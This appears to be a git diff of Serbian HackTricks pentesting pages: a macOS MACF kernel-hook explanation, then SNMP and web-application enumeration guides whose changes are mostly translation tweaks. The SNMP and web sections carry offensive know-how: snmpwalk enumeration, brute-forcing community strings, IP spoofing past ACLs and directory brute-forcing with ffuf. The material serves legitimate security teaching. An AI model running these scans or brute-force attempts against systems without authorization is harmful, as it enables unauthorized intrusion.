Koji poziva `MAC_CHECK` makro, čiji se kod može naći na [https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/security/mac\_internal.h#L261](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/security/mac\_internal.h#L261)
```c
/*
* MAC_CHECK performs the designated check by walking the policy
* module list and checking with each as to how it feels about the
* request. Note that it returns its value via 'error' in the scope
* of the caller.
*/
#define MAC_CHECK(check, args...) do { \
error = 0; \
MAC_POLICY_ITERATE({ \
if (mpc->mpc_ops->mpo_ ## check != NULL) { \
DTRACE_MACF3(mac__call__ ## check, void *, mpc, int, error, int, MAC_ITERATE_CHECK); \
int __step_err = mpc->mpc_ops->mpo_ ## check (args); \
DTRACE_MACF2(mac__rslt__ ## check, void *, mpc, int, __step_err); \
error = mac_error_select(__step_err, error); \
} \
}); \
} while (0)
```
Koji će proći kroz sve registrovane mac politike pozivajući njihove funkcije i čuvajući izlaz unutar promenljive error, koja će biti prepisiva samo od strane `mac_error_select` pomoću kodova uspeha, tako da ako bilo koja provera ne uspe, cela provera će pasti i akcija neće biti dozvoljena.
{% hint style="success" %}
Međutim, zapamtite da se ne koriste svi MACF pozivi samo za odbijanje akcija. Na primer, `mac_priv_grant` poziva makro [**MAC\_GRANT**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/security/mac\_internal.h#L274), koji će odobriti traženu privilegiju ako bilo koja politika odgovori sa 0:
```c
/*
* MAC_GRANT performs the designated check by walking the policy
* module list and checking with each as to how it feels about the
* request. Unlike MAC_CHECK, it grants if any policies return '0',
* and otherwise returns EPERM. Note that it returns its value via
* 'error' in the scope of the caller.
*/
#define MAC_GRANT(check, args...) do { \
error = EPERM; \
MAC_POLICY_ITERATE({ \
if (mpc->mpc_ops->mpo_ ## check != NULL) { \
DTRACE_MACF3(mac__call__ ## check, void *, mpc, int, error, int, MAC_ITERATE_GRANT); \
int __step_res = mpc->mpc_ops->mpo_ ## check (args); \
if (__step_res == 0) { \
error = 0; \
} \
DTRACE_MACF2(mac__rslt__ ## check, void *, mpc, int, __step_res); \
} \
}); \
} while (0)
```
{% endhint %}
### priv\_check & priv\_grant
Ove funkcije su namenjene za proveru i dodeljivanje (desetina) **privilegija** definisanih u [**bsd/sys/priv.h**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/sys/priv.h).\
Neki kernel kod bi pozvao `priv_check_cred()` iz [**bsd/kern/kern\_priv.c**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/kern/kern\_priv.c) sa KAuth kredencijalima procesa i jednim od kodova privilegija koji će pozvati `mac_priv_check` da vidi da li neka politika **odbija** dodeljivanje privilegije, a zatim poziva `mac_priv_grant` da vidi da li neka politika dodeljuje `privilegiju`.
### proc\_check\_syscall\_unix
Ova tačka omogućava presretanje svih sistemskih poziva. U `bsd/dev/[i386|arm]/systemcalls.c` moguće je videti deklarisanu funkciju [`unix_syscall`](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/dev/arm/systemcalls.c#L160C1-L167C25), koja sadrži ovaj kod:
```c
#if CONFIG_MACF
if (__improbable(proc_syscall_filter_mask(proc) != NULL && !bitstr_test(proc_syscall_filter_mask(proc), syscode))) {
error = mac_proc_check_syscall_unix(proc, syscode);
if (error) {
goto skip_syscall;
}
}
#endif /* CONFIG_MACF */
```
Koji će proveriti u pozivnom procesu **bitmasku** da li trenutni syscall treba da pozove `mac_proc_check_syscall_unix`. To je zato što se syscalls pozivaju tako često da je zanimljivo izbeći pozivanje `mac_proc_check_syscall_unix` svaki put.
Napomena da funkcija `proc_set_syscall_filter_mask()`, koja postavlja bitmasku syscalls u procesu, se poziva od strane Sandbox-a da postavi maske na sandboxed procesima.
## Izloženi MACF syscalls
Moguće je interagovati sa MACF kroz neke syscalls definisane u [security/mac.h](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/security/mac.h#L151):
```c
/*
* Extended non-POSIX.1e interfaces that offer additional services
* available from the userland and kernel MAC frameworks.
*/
#ifdef __APPLE_API_PRIVATE
__BEGIN_DECLS
int __mac_execve(char *fname, char **argv, char **envv, mac_t _label);
int __mac_get_fd(int _fd, mac_t _label);
int __mac_get_file(const char *_path, mac_t _label);
int __mac_get_link(const char *_path, mac_t _label);
int __mac_get_pid(pid_t _pid, mac_t _label);
int __mac_get_proc(mac_t _label);
int __mac_set_fd(int _fildes, const mac_t _label);
int __mac_set_file(const char *_path, mac_t _label);
int __mac_set_link(const char *_path, mac_t _label);
int __mac_mount(const char *type, const char *path, int flags, void *data,
struct mac *label);
int __mac_get_mount(const char *path, struct mac *label);
int __mac_set_proc(const mac_t _label);
int __mac_syscall(const char *_policyname, int _call, void *_arg);
__END_DECLS
#endif /*__APPLE_API_PRIVATE*/
```
## References
* [**\*OS Internals Volume III**](https://newosxbook.com/home.html)
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Podržite HackTricks</summary>
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
{% endhint %}

View file

@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
@ -43,12 +43,12 @@ MIB datoteke su napisane u `Abstract Syntax Notation One` (`ASN.1`) baziranom AS
Najviši nivoi MIB identifikatora objekata, ili OIDs, dodeljeni su raznim organizacijama koje postavljaju standarde. U okviru ovih najviših nivoa uspostavlja se okvir za globalne prakse i standarde upravljanja.
Pored toga, proizvođačima je data sloboda da uspostave privatne grane. Unutar ovih grana, imaju **autonomiju da uključe upravljane objekte relevantne za svoje vlastite proizvodne linije**. Ovaj sistem osigurava da postoji strukturiran i organizovan način za identifikaciju i upravljanje širokim spektrom objekata među različitim proizvođačima i standardima.
Pored toga, proizvođačima je data sloboda da uspostave privatne grane. Unutar ovih grana, imaju **autonomiju da uključe upravljane objekte relevantne za svoje linije proizvoda**. Ovaj sistem osigurava da postoji strukturiran i organizovan način za identifikaciju i upravljanje širokim spektrom objekata među različitim proizvođačima i standardima.
![](<../../.gitbook/assets/SNMP\_OID\_MIB\_Tree (1).png>)
Možete **navigirati** kroz **OID stablo** sa veba ovde: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) ili **videti šta OID znači** (kao `1.3.6.1.2.1.1`) pristupajući [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1).\
Postoje neki **poznati OIDs** kao što su oni unutar [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) koji se odnose na MIB-2 definisane Simple Network Management Protocol (SNMP) varijable. I iz **OIDs koji zavise od ovoga** možete dobiti neke zanimljive podatke o hostu (sistemskim podacima, mrežnim podacima, podacima o procesima...)
Postoje neki **poznati OIDs** kao što su oni unutar [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) koji se odnose na MIB-2 definisane Simple Network Management Protocol (SNMP) varijable. I iz **OIDs koji zavise od ovog** možete dobiti neke zanimljive podatke o hostu (sistemski podaci, podaci o mreži, podaci o procesima...)
### **Primer OID-a**
@ -87,8 +87,8 @@ Ostatak vrednosti daje specifične informacije o uređaju.
Postoje 2 važne verzije SNMP:
* **SNMPv1**: Glavna verzija, još uvek je najčešća, **autentifikacija se zasniva na stringu** (community string) koji putuje u **plain-text** (sve informacije putuju u običnom tekstu). **Verzija 2 i 2c** takođe šalju **saobraćaj u plain text** i koriste **community string kao autentifikaciju**.
* **SNMPv3**: Koristi bolji oblik **autentifikacije** i informacije putuju **kriptovano** (može se izvršiti **dictionary attack**, ali bi bilo mnogo teže pronaći ispravne kredencijale nego u SNMPv1 i v2).
* **SNMPv1**: Glavna verzija, još uvek je najčešća, **autentifikacija se zasniva na stringu** (community string) koji putuje u **plain-text** (svi podaci putuju u običnom tekstu). **Verzija 2 i 2c** takođe šalju **saobraćaj u plain text** i koriste **community string kao autentifikaciju**.
* **SNMPv3**: Koristi bolji **oblik autentifikacije** i informacije putuju **kriptovano** (moguće je izvršiti **napad rečnikom**, ali bi bilo mnogo teže pronaći ispravne kredencijale nego u SNMPv1 i v2).
### Community Strings
@ -96,7 +96,7 @@ Kao što je ranije pomenuto, **da biste pristupili informacijama sačuvanim na M
Postoje **2 tipa community strings**:
* **`public`** uglavnom **samo za čitanje** funkcije
* **`private`** **Čitanje/Pisanje** uopšte
* **`private`** **Čitanje/Pisanje** uopšteno
Napomena da **pisivost OID-a zavisi od korišćenog community stringa**, tako da **čak i** ako otkrijete da se koristi "**public**", mogli biste biti u mogućnosti da **pišete neke vrednosti.** Takođe, može postojati objekata koji su **uvek "Samo za čitanje".**\
Ako pokušate da **pišete** objekat, dobićete **`noSuchName` ili `readOnly` grešku**.\*\*.\*\*
@ -113,9 +113,9 @@ U verzijama 1 i 2/2c, ako koristite **loš** community string, server neće **od
## Brute-Force Community String (v1 i v2c)
Da biste **pogodili community string**, mogli biste izvršiti dictionary attack. Proverite [ovde različite načine za izvršenje brute-force napada protiv SNMP](../../generic-methodologies-and-resources/brute-force.md#snmp). Često korišćen community string je `public`.
Da biste **pogodili community string**, mogli biste izvršiti napad rečnikom. Proverite [ovde različite načine za izvršenje brute-force napada protiv SNMP](../../generic-methodologies-and-resources/brute-force.md#snmp). Često korišćen community string je `public`.
## Enumerating SNMP
## Enumeracija SNMP
Preporučuje se instalacija sledećeg da biste videli šta znači **svaki OID prikupljen** sa uređaja:
```bash
@ -144,7 +144,7 @@ Hvala proširenim upitima (download-mibs), moguće je enumerisati još više o s
```bash
snmpwalk -v X -c public <IP> NET-SNMP-EXTEND-MIB::nsExtendOutputFull
```
**SNMP** ima mnogo informacija o hostu, a stvari koje bi vam mogle biti zanimljive su: **Mrežni interfejsi** (IPv4 i **IPv6** adresa), Korisnička imena, Uptime, Verzija servera/OS-a, i **procesi**
**SNMP** ima mnogo informacija o hostu, a stvari koje bi mogle biti zanimljive su: **Mrežni interfejsi** (IPv4 i **IPv6** adresa), Korisnička imena, Uptime, Verzija servera/OS-a, i **procesi**
**koji se izvršavaju** (mogu sadržati lozinke)....
@ -168,12 +168,12 @@ Obe komande zahtevaju **community string** i relevantnu IP adresu, nudeći potpu
Serija **Management Information Base (MIB) vrednosti** se koristi za nadgledanje različitih aspekata Windows sistema putem SNMP:
* **Sistemski procesi**: Pristupa se putem `1.3.6.1.2.1.25.1.6.0`, ovaj parametar omogućava nadgledanje aktivnih procesa unutar sistema.
* **Pokrenuti programi**: Vrednost `1.3.6.1.2.1.25.4.2.1.2` je namenjena praćenju trenutno pokrenutih programa.
* **Aktivni programi**: Vrednost `1.3.6.1.2.1.25.4.2.1.2` je namenjena praćenju trenutno aktivnih programa.
* **Putanja procesa**: Da bi se odredilo odakle se proces izvršava, koristi se MIB vrednost `1.3.6.1.2.1.25.4.2.1.4`.
* **Skladišne jedinice**: Nadgledanje skladišnih jedinica olakšano je putem `1.3.6.1.2.1.25.2.3.1.4`.
* **Ime softvera**: Da bi se identifikovao softver instaliran na sistemu, koristi se `1.3.6.1.2.1.25.6.3.1.2`.
* **Korisnički nalozi**: Vrednost `1.3.6.1.4.1.77.1.2.25` omogućava praćenje korisničkih naloga.
* **TCP lokalne portove**: Na kraju, `1.3.6.1.2.1.6.13.1.3` je namenjen za nadgledanje TCP lokalnih portova, pružajući uvid u aktivne mrežne konekcije.
* **TCP lokalne portove**: Na kraju, `1.3.6.1.2.1.6.13.1.3` je namenjen za nadgledanje TCP lokalnih portova, pružajući uvid u aktivne mrežne veze.
### Cisco
@ -233,9 +233,9 @@ grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" *.snmp
Možete koristiti _**NetScanTools**_ da **modifikujete vrednosti**. Biće vam potrebna **privatna string** da biste to uradili.
## Spoofing
## Lažiranje
Ako postoji ACL koji dozvoljava samo nekim IP adresama da upitaju SNMP servis, možete spoofovati jednu od ovih adresa unutar UDP paketa i prisluškivati saobraćaj.
Ako postoji ACL koji dozvoljava samo nekim IP adresama da upitaju SNMP servis, možete lažirati jednu od ovih adresa unutar UDP paketa i prisluškivati saobraćaj.
## Istraživanje SNMP konfiguracionih fajlova
@ -243,9 +243,9 @@ Ako postoji ACL koji dozvoljava samo nekim IP adresama da upitaju SNMP servis, m
* snmpd.conf
* snmp-config.xml
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Ako ste zainteresovani za **hakersku karijeru** i da hakujete nehakovano - **zapošljavamo!** (_potrebno je tečno pisano i govorno poljski_).
Ako ste zainteresovani za **karijeru u hakovanju** i da hakujete nehakovano - **zapošljavamo!** (_potrebno je tečno pisano i govorno poljski_).
{% embed url="https://www.stmcyber.com/careers" %}

View file

@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
@ -52,9 +52,9 @@ msf6 auxiliary(scanner/snmp/snmp_enum) > exploit
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Ako ste zainteresovani za **karijeru u hakovanju** i da hakujete ono što se ne može hakovati - **zapošljavamo!** (_potrebno je tečno pisanje i govorenje poljskog_).
Ako ste zainteresovani za **karijeru u hakovanju** i da hakujete nehakovano - **zapošljavamo!** (_potrebno je tečno pisanje i govorenje poljskog_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -64,7 +64,7 @@ Učite i vežbajte GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt=""
<details>
<summary>Podrška HackTricks</summary>
<summary>Podržite HackTricks</summary>
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**

View file

@ -15,13 +15,13 @@ Učite i vežbajte GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt=""
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Ako ste zainteresovani za **hakersku karijeru** i da hakujete nehakovano - **zapošljavamo!** (_potrebno je tečno pisanje i govorenje poljskog_).
Ako ste zainteresovani za **karijeru u hakovanju** i da hakujete nehakovano - **zapošljavamo!** (_potrebno je tečno pisanje i govorenje poljskog_).
{% embed url="https://www.stmcyber.com/careers" %}
## Osnovne informacije
## Osnovne Informacije
Web servis je najviše **uobičajen i opsežan servis** i postoji mnogo **različitih tipova ranjivosti**.
@ -49,10 +49,10 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0
* [ ] Počnite sa **identifikovanjem** **tehnologija** koje koristi web server. Potražite **trikove** koje treba imati na umu tokom ostatka testa ako uspešno identifikujete tehnologiju.
* [ ] Da li postoji neka **poznata ranjivost** verzije tehnologije?
* [ ] Koristite neku **poznatu tehnologiju**? Ima li nekog **korisnog trika** za izvlačenje više informacija?
* [ ] Da li postoji neki **specijalizovani skener** koji treba pokrenuti (kao što je wpscan)?
* [ ] Da li postoji neki **specijalizovani skener** za pokretanje (kao što je wpscan)?
* [ ] Pokrenite **skeneri opšte namene**. Nikada ne znate da li će pronaći nešto ili ako će pronaći neku zanimljivu informaciju.
* [ ] Počnite sa **početnim proverama**: **robots**, **sitemap**, **404** greška i **SSL/TLS sken** (ako je HTTPS).
* [ ] Počnite sa **spideringom** web stranice: Vreme je da **pronađete** sve moguće **fajlove, foldere** i **parametre koji se koriste.** Takođe, proverite za **posebna otkrića**.
* [ ] Počnite sa **spidering** web stranice: Vreme je da **pronađete** sve moguće **fajlove, foldere** i **parametre koji se koriste.** Takođe, proverite za **posebna otkrića**.
* [ ] _Imajte na umu da svaki put kada se otkrije novi direktorijum tokom brute-forcinga ili spideringa, treba ga spiderovati._
* [ ] **Brute-Forcing direktorijuma**: Pokušajte da brute-forcujete sve otkrivene foldere tražeći nove **fajlove** i **direktorijume**.
* [ ] _Imajte na umu da svaki put kada se otkrije novi direktorijum tokom brute-forcinga ili spideringa, treba ga Brute-Forcovati._
@ -124,8 +124,8 @@ Ako web aplikacija koristi neku poznatu **tehnologiju/platformu navedenu ranije*
Ako je **izvorni kod** aplikacije dostupan na **github**, pored izvođenja **sopstvenog White box testa** aplikacije, postoji **neka informacija** koja bi mogla biti **korisna** za trenutni **Black-Box testiranje**:
* Da li postoji **Change-log ili Readme ili Verzija** fajl ili bilo šta sa **informacijama o verziji dostupnim** putem veba?
* Kako i gde su sačuvane **akreditivi**? Da li postoji neka (dostupna?) **datoteka** sa akreditivima (korisničkim imenima ili lozinkama)?
* Da li postoji **Change-log ili Readme ili Verzija** fajl ili bilo šta sa **informacijama o verziji dostupnim** putem web-a?
* Kako i gde su sačuvane **akreditivi**? Da li postoji neka (dostupna?) **datoteka** sa akreditivima (korisnička imena ili lozinke)?
* Da li su **lozinke** u **običnom tekstu**, **kriptovane** ili koji **hash algoritam** se koristi?
* Da li se koristi neki **glavni ključ** za kriptovanje nečega? Koji **algoritam** se koristi?
* Možete li **pristupiti bilo kojoj od ovih datoteka** iskorišćavajući neku ranjivost?
@ -211,7 +211,7 @@ Koristite [**testssl.sh**](https://github.com/drwetter/testssl.sh) za proveru **
sslscan <host:port>
sslyze --regular <ip:port>
```
Informacije o SSL/TLS ranjivostima:
Information about SSL/TLS vulnerabilities:
* [https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/](https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/)
* [https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/](https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/)
@ -225,15 +225,15 @@ Pokrenite neku vrstu **spider** unutar veba. Cilj spider-a je da **pronađe što
* [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, takođe označava "sočne datoteke".
* [**evine** ](https://github.com/saeeddhqan/evine)(go): Interaktivni CLI HTML spider. Takođe pretražuje u Archive.org.
* [**meg**](https://github.com/tomnomnom/meg) (go): Ovaj alat nije spider, ali može biti koristan. Možete jednostavno naznačiti datoteku sa hostovima i datoteku sa putevima, a meg će preuzeti svaki put na svakom hostu i sačuvati odgovor.
* [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider sa JS renderovanjem. Međutim, izgleda da nije održavan, prekompajlirana verzija je stara i trenutni kod se ne kompajlira.
* [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider sa mogućnostima renderovanja JS-a. Međutim, izgleda da nije održavan, prekompajlirana verzija je stara i trenutni kod se ne kompajlira.
* [**gau**](https://github.com/lc/gau) (go): HTML spider koji koristi spoljne provajdere (wayback, otx, commoncrawl).
* [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Ovaj skript će pronaći URL-ove sa parametrima i navesti ih.
* [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider sa JS renderovanjem.
* [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider sa mogućnostima renderovanja JS-a.
* [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, sa JS beautify mogućnostima sposobnim za pretragu novih puteva u JS datotekama. Takođe bi bilo korisno pogledati [JSScanner](https://github.com/dark-warlord14/JSScanner), koji je omotač LinkFinder-a.
* [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Za ekstrakciju krajnjih tačaka u HTML izvoru i ugrađenim javascript datotekama. Korisno za lovce na greške, red timere, infosec nindže.
* [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Python 2.7 skript koji koristi Tornado i JSBeautifier za parsiranje relativnih URL-ova iz JavaScript datoteka. Korisno za lako otkrivanje AJAX zahteva. Izgleda da nije održavan.
* [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Dajući datoteku (HTML) iz nje će izvući URL-ove koristeći pametnu regularnu ekspresiju za pronalaženje i ekstrakciju relativnih URL-ova iz ružnih (minify) datoteka.
* [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, nekoliko alata): Prikupiti zanimljive informacije iz JS datoteka koristeći nekoliko alata.
* [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, nekoliko alata): Prikupi zanimljive informacije iz JS datoteka koristeći nekoliko alata.
* [**subjs**](https://github.com/lc/subjs) (go): Pronađi JS datoteke.
* [**page-fetch**](https://github.com/detectify/page-fetch) (go): Učitaj stranicu u headless pretraživaču i ispiši sve URL-ove učitane za učitavanje stranice.
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Alat za otkrivanje sadržaja koji kombinuje nekoliko opcija prethodnih alata.
@ -241,16 +241,16 @@ Pokrenite neku vrstu **spider** unutar veba. Cilj spider-a je da **pronađe što
* [**Sourcemapper**](https://github.com/denandz/sourcemapper): Alat koji, dajući .js.map URL, dobijate beautified JS kod.
* [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Ovaj alat se koristi za otkrivanje krajnjih tačaka za dati cilj.
* [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Otkrijte linkove iz wayback mašine (takođe preuzimajući odgovore u wayback i tražeći više linkova).
* [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawling (čak i popunjavanjem obrazaca) i takođe pronalaženje osetljivih informacija koristeći specifične regex-e.
* [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawlujte (čak i popunjavanjem obrazaca) i takođe pronađite osetljive informacije koristeći specifične regex-e.
* [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite je napredni GUI web sigurnosni crawler/spider dizajniran za profesionalce u sajber bezbednosti.
* [**jsluice**](https://github.com/BishopFox/jsluice) (go): To je Go paket i [alat komandne linije](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) za ekstrakciju URL-ova, puteva, tajni i drugih zanimljivih podataka iz JavaScript izvornog koda.
* [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge je jednostavna **Burp Suite ekstenzija** za **ekstrakciju parametara i krajnjih tačaka** iz zahteva za kreiranje prilagođene rečnika za fuzzing i enumeraciju.
* [**katana**](https://github.com/projectdiscovery/katana) (go): Sjajan alat za ovo.
* [**Crawley**](https://github.com/s0rg/crawley) (go): Ispiši svaki link koji može pronaći.
### Brute Force direktorijumi i datoteke
### Brute Force directories and files
Započnite **brute-forcing** iz root foldera i budite sigurni da brute-forcujete **sve** **direktorijume pronađene** koristeći **ovu metodu** i sve direktorijume **otkrivene** od strane **Spidering-a** (možete uraditi ovaj brute-forcing **rekurzivno** i dodati na početak korišćenog rečnika imena pronađenih direktorijuma).\
Započnite **brute-forcing** iz root foldera i budite sigurni da brute-forcujete **sve** **direktorijume pronađene** koristeći **ovu metodu** i sve direktorijume **otkrivene** putem **Spidering-a** (možete ovo brute-forcing **rekurzivno** i dodati na početak korišćenog rečnika imena pronađenih direktorijuma).\
Alati:
* **Dirb** / **Dirbuster** - Uključeno u Kali, **staro** (i **sporo**) ali funkcionalno. Dozvoljava automatski potpisane sertifikate i rekurzivnu pretragu. Previše sporo u poređenju sa drugim opcijama.
@ -261,7 +261,7 @@ Alati:
* [**ffuf** ](https://github.com/ffuf/ffuf)- Brz: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
* [**uro**](https://github.com/s0md3v/uro) (python): Ovo nije spider, već alat koji, dajući listu pronađenih URL-ova, briše "duplikate" URL-ova.
* [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp ekstenzija za kreiranje liste direktorijuma iz burp istorije različitih stranica.
* [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Ukloni URL-ove sa duplim funkcionalnostima (na osnovu js uvoza).
* [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Uklanja URL-ove sa duplim funkcionalnostima (na osnovu js uvoza).
* [**Chamaleon**](https://github.com/iustin24/chameleon): Koristi wapalyzer za otkrivanje korišćenih tehnologija i odabir rečnika za korišćenje.
**Preporučeni rečnici:**
@ -269,7 +269,7 @@ Alati:
* [https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/bf\_directories.txt](https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/bf\_directories.txt)
* [**Dirsearch** uključeni rečnik](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt)
* [http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10](http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10)
* [Assetnote rečnici](https://wordlists.assetnote.io)
* [Assetnote wordlists](https://wordlists.assetnote.io)
* [https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content](https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content)
* raft-large-directories-lowercase.txt
* directory-list-2.3-medium.txt
@ -283,13 +283,13 @@ Alati:
* _/usr/share/wordlists/dirb/big.txt_
* _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_
_Napomena: svaki put kada se otkrije novi direktorijum tokom brute-forcinga ili spideringa, treba ga Brute-Forcovati._
_Napomena da svaki put kada se otkrije novi direktorijum tokom brute-forcinga ili spideringa, treba ga Brute-Forcovati._
### Šta proveriti na svakoj pronađenoj datoteci
### What to check on each file found
* [**Proveravač pokvarenih linkova**](https://github.com/stevenvachon/broken-link-checker): Pronađite pokvarene linkove unutar HTML-a koji mogu biti podložni preuzimanju.
* [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Pronađite pokvarene linkove unutar HTML-a koji mogu biti podložni preuzimanju.
* **Backup datoteke**: Kada pronađete sve datoteke, potražite backup svih izvršnih datoteka ("_.php_", "_.aspx_"...). Uobičajene varijacije za imenovanje backup-a su: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp i file.old._ Takođe možete koristiti alat [**bfac**](https://github.com/mazen160/bfac) **ili** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
* **Otkrivanje novih parametara**: Možete koristiti alate kao što su [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **i** [**Param Miner**](https://github.com/PortSwigger/param-miner) **za otkrivanje skrivenih parametara. Ako možete, mogli biste pokušati da pretražujete** skrivene parametre na svakoj izvršnoj web datoteci.
* **Otkrivanje novih parametara**: Možete koristiti alate kao što su [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **i** [**Param Miner**](https://github.com/PortSwigger/param-miner) **za otkrivanje skrivenih parametara. Ako možete, mogli biste pokušati da pretražujete** skrivene parametre u svakoj izvršnoj web datoteci.
* _Arjun svi podrazumevani rečnici:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
* _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
